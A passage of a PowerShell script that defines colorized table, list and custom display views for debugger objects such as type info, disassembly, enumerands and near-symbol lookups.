Center -Script { if( $_ -is [MS.Dbg.Formatting.ScriptColumn] ) { New-ColorString -Foreground DarkGray -Content 'n/a' } else { $_.get_PropertyName() } } New-AltScriptColumn -Label 'Width' -Width 5 -Alignment Center -Script { if( $_.get_Width() -eq 0 ) { New-ColorString -Foreground DarkGray -Content '*' } else { $_.Width } } New-AltPropertyColumn -PropertyName 'Alignment' -Width 11 -Alignment Center New-AltPropertyColumn -PropertyName 'Tag' -Width 15 -Alignment Center New-AltScriptColumn -Label 'FormatString' -Alignment Center -Script { if( $_ -is [MS.Dbg.Formatting.ScriptColumn] ) { New-ColorString -Foreground DarkGray -Content 'n/a' } else { if( $_.get_FormatString() ) { '''' + $_.FormatString + '''' } } } } # End Columns } # end Table view } # end Type MS.Dbg.Formatting.Column New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.ScriptColumn' { New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Label' New-AltPropertyListItem -PropertyName 'Width' New-AltPropertyListItem -PropertyName 'Tag' New-AltPropertyListItem -PropertyName 'Alignment' New-AltScriptListItem -Label 'Script' { RenderScript $_.get_Script() } } # end list view } # end type MS.Dbg.Formatting.ScriptColumn New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.PropertyColumn' { New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Label' New-AltPropertyListItem -PropertyName 'Width' New-AltPropertyListItem -PropertyName 'Tag' New-AltPropertyListItem -PropertyName 'PropertyName' New-AltPropertyListItem -PropertyName 'FormatString' } # end list view } # end type MS.Dbg.Formatting.PropertyColumn New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.AltTableViewDefinition' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label '(Type)' -Script { HighlightTypeName $_ } New-AltPropertyListItem -PropertyName 'FormatCommand' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'ShowIndex' New-AltScriptListItem -Label 'Columns' -Script { foreach( $c in $_.get_Columns() ) { $c.get_Label() } } New-AltPropertyListItem -PropertyName 'GroupBy' New-AltPropertyListItem -PropertyName 'ProduceGroupByHeader' New-AltPropertyListItem -PropertyName 'Footer' } # end list view } # end type MS.Dbg.Formatting.AltTableViewDefinition New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.AltListViewDefinition' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label '(Type)' -Script { HighlightTypeName $_ } New-AltPropertyListItem -PropertyName 'FormatCommand' New-AltPropertyListItem -PropertyName 'Module' New-AltScriptListItem -Label 'ListItems' -Script { foreach( $c in $_.get_ListItems() ) { $c.get_Label() } } } # end list view } # end type MS.Dbg.Formatting.AltListViewDefinition New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.AltCustomViewDefinition' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label '(Type)' -Script { HighlightTypeName $_ } New-AltScriptListItem -Label 'Script' { RenderScript $_.get_Script() } } # end list view } # end type MS.Dbg.Formatting.AltCustomViewDefinition New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.AltSingleLineViewDefinition' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label '(Type)' -Script { HighlightTypeName $_ } New-AltScriptListItem -Label 'Script' { RenderScript $_.get_Script() } } # end list view } # end type MS.Dbg.Formatting.AltSingleLineViewDefinition <# I think this view is not useful, because the information is not useful for the user--it lacks the information of which type each view is for. New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.ViewDefinitionInfo' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -PropertyName 'ViewDefinition' -Width 40 -Alignment Left # TODO: better file truncation (so you can see the file name, if not the whole path) New-AltPropertyColumn -PropertyName 'SourceScript' -Alignment Left } } # end Table view New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'ViewDefinition' -Script { HighlightTypeName $_.ViewDefinition } New-AltPropertyListItem -PropertyName 'SourceScript' } # end list view } # end type MS.Dbg.Formatting.ViewDefinitionInfo #> New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgNamedTypeInfo' { New-AltSingleLineViewDefinition { $_.get_ColorName() } # end single-line view } # end type MS.Dbg.DbgNamedTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgPointerTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'IsReference' New-AltPropertyListItem -PropertyName 'PointeeType' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgPointerTypeInfo function script:GenerateCommonUdtListItems() { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'UdtKind' New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'IsAbstract' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'VTable' New-AltPropertyListItem -PropertyName 'BaseClasses' New-AltPropertyListItem -PropertyName 'VirtualBaseClasses' New-AltPropertyListItem -PropertyName 'StaticMembers' New-AltPropertyListItem -PropertyName 'Members' New-AltPropertyListItem -PropertyName 'Functions' New-AltPropertyListItem -PropertyName 'NestedTypes' New-AltPropertyListItem -PropertyName 'NestedEnums' New-AltPropertyListItem -PropertyName 'Typedefs' } New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgMemory' { New-AltCustomViewDefinition { if($_.DefaultDisplayFormat -eq [MS.Dbg.DbgMemoryDisplayFormat]::DWordsWithBits) { " 3 2 1 0" " 10987654 32109876 54321098 76543210" " -------- -------- -------- --------" } $_.ToColorString() } } New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgUdtTypeInfo' { New-AltCustomViewDefinition { $_.Layout # Layout implements ISupportColor so this will yield Layout.ToColorString() } # end AltCustomViewDefinition New-AltListViewDefinition -ListItems { GenerateCommonUdtListItems New-AltPropertyListItem -PropertyName 'TypeId' } # end list view New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Name' -Width 30 -Alignment Left -Script { Format-DbgTypeName $_.Name } New-AltPropertyColumn -PropertyName 'Size' -Width 6 -Alignment Right New-AltPropertyColumn -PropertyName 'IsAbstract' -Width 10 -Alignment Center New-AltScriptColumn -Label 'Module' -Width 13 -Alignment Left -Script { Format-DbgModuleName $_.Module.Name } New-AltPropertyColumn -PropertyName 'BaseClasses' -Width 38 -Alignment Left } # End Columns } # end Table view } # end type MS.Dbg.DbgUdtTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgBaseClassTypeInfo' { New-AltListViewDefinition -ListItems { GenerateCommonUdtListItems New-AltPropertyListItem -PropertyName 'IsVirtualBaseClass' New-AltPropertyListItem -PropertyName 'IsIndirectVirtualBaseClass' New-AltPropertyListItem -PropertyName 'Offset' New-AltPropertyListItem -PropertyName 'BaseClassTypeId' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view New-AltSingleLineViewDefinition { $_.get_ColorName() } # end single-line view } # end type MS.Dbg.DbgBaseClassTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgVirtualBaseClassTypeInfo' { New-AltListViewDefinition -ListItems { GenerateCommonUdtListItems New-AltPropertyListItem -PropertyName 'IsVirtualBaseClass' New-AltPropertyListItem -PropertyName 'IsIndirectVirtualBaseClass' New-AltPropertyListItem -PropertyName 'VirtualBaseDispIndex' New-AltPropertyListItem -PropertyName 'VirtualBasePointerOffset' New-AltPropertyListItem -PropertyName 'BaseClassTypeId' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view New-AltSingleLineViewDefinition { $_.get_ColorName() } # end single-line view } # end type MS.Dbg.DbgVirtualBaseClassTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgDataMemberTypeInfo' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -PropertyName 'Offset' -Width 8 -Alignment Right New-AltPropertyColumn -PropertyName 'Size' -Width 5 -Alignment Right New-AltPropertyColumn -PropertyName 'ColorName' -Label 'Name' -Width 38 -Alignment Left New-AltPropertyColumn -PropertyName 'DataType' -Width 38 -Alignment Left New-AltPropertyColumn -PropertyName 'OwningType' -Alignment Left } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'DataKind' New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'DataType' New-AltScriptListItem -Label 'OwningType' -Script { if( $_ -is [MS.Dbg.DbgDataInheritedMemberTypeInfo] ) { (Format-AltSingleLine -InputObject $_.OwningType) + " (inherited)" } else { Format-AltSingleLine -InputObject $_.OwningType } } New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'Offset' New-AltScriptListItem -Label 'BitfieldPosition' -Script { if( $_.IsBitfield ) { Format-AltSingleLine -InputObject $_.BitfieldPosition } else { New-ColorString -Content "n/a" -Foreground Blue } } New-AltScriptListItem -Label 'BitfieldLength' -Script { if( $_.IsBitfield ) { Format-AltSingleLine -InputObject $_.BitfieldLength } else { New-ColorString -Content "n/a" -Foreground Blue } } New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgDataMemberTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgDataStaticMemberTypeInfo' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Address' -Width 10 -Tag 'Address' -Alignment Right -Script { Format-DbgAddress $_.Address } New-AltPropertyColumn -PropertyName 'Size' -Width 5 -Alignment Right New-AltPropertyColumn -PropertyName 'ColorName' -Label 'Name' -Width 38 -Alignment Left New-AltPropertyColumn -PropertyName 'DataType' -Width 38 -Alignment Left New-AltPropertyColumn -PropertyName 'OwningType' -Alignment Left } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'DataKind' New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'DataType' New-AltPropertyListItem -PropertyName 'OwningType' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'Address' New-AltPropertyListItem -PropertyName 'AddressOffset' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgDataStaticMemberTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgBaseTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'BaseType' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgBaseTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgFunctionTypeTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'ClassParent' New-AltScriptListItem -Label 'ThisAdjust' -Script { if( !$_.ClassParent ) { New-ColorString -Content "n/a" -Foreground Blue } else { $_.ThisAdjust } } New-AltPropertyListItem -PropertyName 'CallingConvention' New-AltPropertyListItem -PropertyName 'ReturnType' New-AltPropertyListItem -PropertyName 'Arguments' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -PropertyName 'TypeId' -Width 8 -Alignment Left New-AltScriptColumn -Label 'Module' -Width 13 -Alignment Left -Script { Format-DbgModuleName $_.Module.Name } New-AltPropertyColumn -PropertyName 'ReturnType' -Width 15 -Alignment Right New-AltPropertyColumn -PropertyName 'Arguments' -Alignment Left } # End Columns } # end Table view } # end type MS.Dbg.DbgFunctionTypeTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgFunctionArgTypeTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ArgType' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view New-AltSingleLineViewDefinition { Format-AltSingleLine -InputObject $_.ArgType } # end single-line view } # end type MS.Dbg.DbgFunctionArgTypeTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgNullTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgNullTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgTypedefTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' #New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'RepresentedType' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -PropertyName 'TypeId' -Width 8 -Alignment Left New-AltScriptColumn -Label 'Module' -Width 13 -Alignment Left -Script { Format-DbgModuleName $_.Module.Name } New-AltPropertyColumn -PropertyName 'ColorName' -Label 'Name' -Alignment Right New-AltPropertyColumn -PropertyName 'RepresentedType' -Alignment Left } # End Columns } # end Table view } # end type MS.Dbg.DbgTypedefTypeInfo function script:Format-FunctionAddress( $f ) { if( 0 -eq $f.Address ) { New-ColorString -Content "abstract" -Foreground DarkMagenta } else { Format-DbgAddress $f.Address } } # end Format-FunctionAddress New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgFunctionTypeInfo' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Address' -Width 10 -Alignment Center -Tag 'Address' -Script { Format-FunctionAddress $_ } New-AltPropertyColumn -Property 'Signature' -Alignment Left } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'OwningClass' New-AltPropertyListItem -PropertyName 'FunctionType' New-AltPropertyListItem -PropertyName 'Children' New-AltScriptListItem -Label 'Address' { Format-FunctionAddress $_ } New-AltPropertyListItem -PropertyName 'Length' New-AltPropertyListItem -PropertyName 'VirtualBaseOffset' # I don't know what SymIndex even is, so I guess I won't bother showing it. #New-AltPropertyListItem -PropertyName 'SymIndex' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgFunctionTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgVTableTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'Offset' New-AltPropertyListItem -PropertyName 'VTableShape' New-AltPropertyListItem -PropertyName 'OwningType' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgVTableTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgVTableShapeTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'NumSlots' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgVTableShapeTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgEnumTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'Enumerands' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgEnumTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.Enumerand' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -PropertyName 'Name' -Width 36 -Alignment Right -FormatString (New-ColorString -Content '{0}' -Foreground Cyan) New-AltPropertyColumn -PropertyName 'Value' -Alignment Left -FormatString '0x{0:x2}' } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Name' New-AltPropertyListItem -PropertyName 'Value' } # end list view New-AltSingleLineViewDefinition { (New-ColorString -Content $_.Name -Foreground Cyan) + '(' + $_.Value.ToString() + ')' } # end single-line view } # end type MS.Dbg.Enumerand New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgArrayTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'ArrayElementType' New-AltPropertyListItem -PropertyName 'Count' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgArrayTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgArrayValue' { # DbgArrayValue implements IReadOnlyList, so the default generated # single-line view ("$_") will cause PowerShell to unroll it... but # DbgArrayValue has a custom ToString() that's better. New-AltSingleLineViewDefinition { $_.ToColorString() } # end single-line view # TODO: Need other custom views, else the PowerShell F+O will unroll it. } # end type MS.Dbg.DbgArrayValue New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgValueConverterInfo' { New-AltTableViewDefinition { New-AltColumns { New-AltScriptColumn -Label 'TypeName' -Width 55 -Alignment Left -Script { Format-DbgTypeName $_.TypeName } New-AltPropertyColumn -PropertyName 'SourceScript' -Alignment Left -TrimLocation 'Center' } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'TypeName' -Script { Format-DbgTypeName $_.TypeName } New-AltPropertyListItem -PropertyName 'SourceScript' New-AltPropertyListItem -PropertyName 'ScopingModule' New-AltScriptListItem -Label 'Converter' -Script { if( $_.Converter -is [MS.Dbg.DbgValueScriptConverter] ) { RenderScript $_.Converter.get_Script() } else { $_.Converter } } } # end list view New-AltSingleLineViewDefinition { ("Converter for: " + $_.TypeName) } # end single-line view } # end type MS.Dbg.DbgValueConverterInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgDisassembly' { New-AltCustomViewDefinition -Script { if( !(Test-Path 'Variable:\_tmp_ currentIpIndicator') ) { [string] $rightTri = [char] 0x25ba ${_tmp_ currentIpIndicator} = (New-ColorString -Content $rightTri -Background Green -Foreground Black).Append( (New-ColorString -Content $rightTri -Background Black -Foreground Green) ) try { $currentIp = $ip } catch { # We might not have a current register context. That's fine; we just # won't get a current IP indicator. $currentIp = 0 } } if( $_.Address -eq $currentIp ) { (New-ColorString -Content '' ).Append( ${_tmp_ currentIpIndicator} ).Append( ' ' ).Append( $_.ToColorString() ) } else { (New-ColorString -Content ' ' ).Append( $_.ToColorString() ) } } -GroupBy 'BlockId' -ProduceGroupByHeader { # The input object is the output of the GroupBy evaluation that is # new since the last one. In our case, it should be a ColorString # (the BlockId), which we want to just use directly. $_ } # end AltCustomViewDefinition New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'Address' -Script { Format-DbgAddress $_.Address } New-AltPropertyListItem -PropertyName 'BlockId' New-AltScriptListItem -Label 'Instruction' -Script { [MS.Dbg.DbgProvider]::ColorizeInstruction( $_.Instruction ) } New-AltPropertyListItem -PropertyName 'Arguments' New-AltPropertyListItem -PropertyName 'CodeBytes' } -GroupBy 'BlockId' -ProduceGroupByHeader { # The input object is the output of the GroupBy evaluation that is # new since the last one. In our case, it should be a ColorString # (the BlockId), which we want to just use directly. $_ } # end List view New-AltTableViewDefinition { # TODO: Add group-by capabilities to table views so that we can group by BlockId. New-AltColumns { New-AltScriptColumn -Label 'Address' -Width 8 -Alignment Center -Tag 'Address' -Script { Format-DbgAddress $_.Address } New-AltScriptColumn -Label 'Instr.' -Width 8 -Alignment Right -Script { [MS.Dbg.DbgProvider]::ColorizeInstruction( $_.Instruction ) } New-AltPropertyColumn -PropertyName 'Arguments' -Alignment Left } # End Columns } -GroupBy 'BlockId' -ProduceGroupByHeader { # The input object is the output of the GroupBy evaluation that is # new since the last one. In our case, it should be a ColorString # (the BlockId), which we want to just use directly. $_ } # end Table view } # end Type MS.Dbg.DbgDisassembly New-AltTypeFormatEntry -TypeName @( 'MS.Dbg.DbgContainer', 'MS.Dbg.DbgItem', 'MS.Dbg.DbgLeafItem' ) { New-AltCustomViewDefinition -Script { # We can keep using variables that were defined/set in the # ProduceGroupByHeader scriptblock. # This shows what variables are available here. #Get-Variable | ft #[console]::WriteLine( "Per-Item block: nameColumnWidth: $nameColumnWidth" ) #[console]::WriteLine( "Per-Item block: summaryColumnWidth: $summaryColumnWidth" ) $childItem = $_ $null = $sb.Clear() if( $childItem -is [MS.Dbg.DbgContainer] ) { $null = $sb.Append( '[container] ' ) $null = $sb.Append( $childItem.Name ) # TODO: Why not let containers be summarized as well? ("13 threads", etc.) } else { $null = $sb.Append( ' ' ) $null = $sb.Append( (Truncate $childItem.Name $nameColumnWidth $true) ) $summary = $null try { $summary = $childItem.Summarize( $summaryColumnWidth ) } catch { $e = $_ [string] $msg = $null if( $e.Exception -is [System.Management.Automation.MethodInvocationException] ) { $msg = $e.Exception.InnerException.Message } else { $msg = $e.Exception.Message } $summary = New-ColorString -Fore Red -Content "Error: $($msg)" $summary = [MS.Dbg.ColorString]::Truncate( $summary, $summaryColumnWidth ) } if( $summary -and ($summary.Length -gt 0) ) { $null = $sb.Append( ' : ' ) $null = $sb.Append( $summary.ToString( $HostSupportsColor ) ) } } # end else( it's not a container ) $sb.ToString() } -GroupBy 'PSParentPath' -ProduceGroupByHeader { # The input object is the output of the GroupBy evaluation that is # new since the last one. In our case, it's the PSParentPath. [string] $dir = $null if( $_ -eq '' ) { $dir = '\' } else { $dir = $_.Replace( 'Debugger::', '\' ) } $sb = New-Object 'System.Text.StringBuilder' -ArgumentList @( $Host.UI.RawUI.BufferSize.Width ) $null = $sb.AppendLine().Append( ' Directory: ' ).Append( $dir ) $null = $sb.AppendLine().AppendLine() $null = $sb.AppendLine( 'Container Name' ) $null = $sb.Append( '--------- ----' ) $sb.ToString() # We're only going to pay attention to the first 100 items. [int] $maxItemWidth = 0 $childItems = Get-ChildItem -LiteralPath $dir | Select-Object -First 100 | %{ if( $_ -ne [MS.Dbg.DbgContainer] ) { $maxItemWidth = [Math]::Max( $_.Name.Length, $maxItemWidth ) } } # end foreach( child item ) (1st pass) #[console]::WriteLine( "maxItemWidth: $maxItemWidth" ) $nameColumnWidth = $maxItemWidth $overBudget = ($nameColumnWidth + 17 + 20) - $Host.UI.RawUI.BufferSize.Width #[console]::WriteLine( "overBudget: $overBudget" ) if( $overBudget -gt 0 ) { $nameColumnWidth = $nameColumnWidth - $overBudget } #[console]::WriteLine( "nameColumnWidth: $nameColumnWidth" ) [int] $summaryColumnWidth = $Host.UI.RawUI.BufferSize.Width - $nameColumnWidth - 17 - 1 #[console]::WriteLine( "summaryColumnWidth: $summaryColumnWidth" ) } -PreserveHeaderContext # end AltCustomViewDefinition } # end Type MS.Dbg.Dbg[Container|Item] New-AltTypeFormatEntry -TypeName @( 'System.Collections.Generic.KeyValuePair', 'System.Collections.DictionaryEntry' ) { New-AltTableViewDefinition { New-AltColumns { New-AltScriptColumn -Label 'Key' -Alignment Left -Script { Format-AltSingleLine -InputObject $_.Key } New-AltScriptColumn -Label 'Value' -Alignment Left -Script { Format-AltSingleLine -InputObject $_.Value } } # End Columns } # end Table view } # end Type KeyValuePair, DictionaryEntry New-AltTypeFormatEntry -TypeName 'System.Collections.Generic.Dictionary' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'Comparer' { if( $null -ne $_.Comparer ) { $tn = $_.Comparer.GetType().FullName $tn = [MS.Dbg.Formatting.AltFormattingManager]::ReformManagedTypeName( $tn, $true ) Format-DbgTypeName $tn } # end if( Comparer ) } New-AltPropertyListItem -PropertyName 'Count' New-AltPropertyListItem -PropertyName 'Keys' New-AltPropertyListItem -PropertyName 'Values' New-AltPropertyListItem -PropertyName 'IsReadOnly' New-AltPropertyListItem -PropertyName 'IsFixedSize' New-AltPropertyListItem -PropertyName 'SyncRoot' New-AltPropertyListItem -PropertyName 'IsSynchronized' } # end list view New-AltTableViewDefinition { New-AltColumns { New-AltPropertyColumn -PropertyName 'Count' -Width 5 -Alignment Right New-AltPropertyColumn -PropertyName 'IsReadOnly' -Width 10 -Alignment Right New-AltScriptColumn -Label 'Comparer' -Width 30 -Alignment Left -Script { if( $null -ne $_.Comparer ) { $tn = $_.Comparer.GetType().FullName $tn = [MS.Dbg.Formatting.AltFormattingManager]::ReformManagedTypeName( $tn, $true ) Format-DbgTypeName $tn } # end if( Comparer ) } New-AltPropertyColumn -PropertyName 'Keys' -Alignment Left New-AltPropertyColumn -PropertyName 'Values' -Alignment Left } # End Columns } # end Table view } # end Type Dictionary # STL converters tend to output ReadOnlyDictionary objects, which are filled with # colorized things that we don't want the built-in F+O to mangle. New-AltTypeFormatEntry -TypeName 'System.Collections.ObjectModel.ReadOnlyDictionary' { New-AltTableViewDefinition { New-AltColumns { New-AltPropertyColumn -PropertyName 'Count' -Width 5 -Alignment Right #New-AltPropertyColumn -PropertyName 'IsReadOnly' -Width 10 -Alignment Right New-AltPropertyColumn -PropertyName 'Keys' -Alignment Left New-AltPropertyColumn -PropertyName 'Values' -Alignment Left } # End Columns } # end Table view } # end Type Dictionary New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgNearSymbol' { New-AltCustomViewDefinition -Script { # This script uses a trick: each time it's run (for a single invocation of # Format-AltCustom), it saves the context to re-use for the next time, so we # can "remember" items we have seen previously. (-PreserveScriptContext) if( !(Test-Path 'Variable:\_tmp_ outputModule') ) { [bool] ${_tmp_ outputModule} = $true [bool] ${_tmp_ scrambled} = $false # I could just put the module name into the symbol name (in the normal # fasion, "blahMod!symName"), but I can save some space if I just print # out the module name once (here). On the other hand, will it make # copy/paste more tedious? (New-ColorString -Content "The following symbols are in module: ").Append( (Format-DbgModuleName $_.Symbol.Module.Name) ) '' } $dispFg = [ConsoleColor]::DarkGray $dispBg = [ConsoleColor]::Black if( $_.DoesNotMakeMathematicalSense ) { ${_tmp_ scrambled} = $true $dispFg = [ConsoleColor]::Black $dispBg = [ConsoleColor]::Yellow } $cs = $null if( 0 -eq $_.Displacement ) { $fg = [ConsoleColor]::Green if( $_.DoesNotMakeMathematicalSense ) { # This seems pretty unlikely, but it must be possible. $fg = [ConsoleColor]::Yellow } $cs = New-ColorString -Foreground $fg -Content ' Exact match -> ' [bool] ${_tmp_ foundMatch} = $true } else { [string] $neg = '' $disp = $_.Displacement if( $_.Displacement -lt 0 ) { $neg = '-' $disp = 0 - $_.Displacement } else { if( !(Test-Path 'Variable:\_tmp_ alreadyOutputNoMatch') ) { [bool] ${_tmp_ alreadyOutputNoMatch} = $true if( !(Test-Path 'Variable:\_tmp_ foundMatch') ) { (New-ColorString -Foreground 'Yellow' -Content ' (no match) ' ).Append( (New-ColorString -Foreground 'DarkGray' -Content (Format-DbgAddress $_.BaseAddress).ToString( $false )) ) } } } $dispStr = [string]::Format( '{0}0x{1:x}', $neg, $disp ) $cs = New-ColorString -Foreground $dispFg -Background $dispBg -Content $dispStr $cs = [MS.Dbg.ColorString]::MakeFixedWidth( $cs, 15, $true, 'Right' ).Append( ' ' ) } $null = $cs.Append( (Format-DbgAddress ($_.BaseAddress + $_.Displacement)) ). Append( ' ' ). AppendPushPopFg( [ConsoleColor]::White, $_.Symbol.Name ). Append( ': ' ). Append( (Format-AltSingleLine -InputObject $_.Symbol.Value) ) $cs = [MS.Dbg.ColorString]::Truncate( $cs, $Host.UI.RawUI.BufferSize.Width - 1 ) $cs } -PreserveScriptContext -End { if( ${_tmp_ scrambled} ) { # TODO: ColorString wordwrap. New-ColorString -Fore 'Yellow' -Content "`n Warning: One or more results do not appear to make sense (BaseAddress + Displacement != Symbol.Address).`n This can be caused by post-build optimization tools that rearrange code but do not regenerate`n the PDB (such as BBT)." } } # end custom view definition } # end type MS.Dbg.DbgNearSymbol 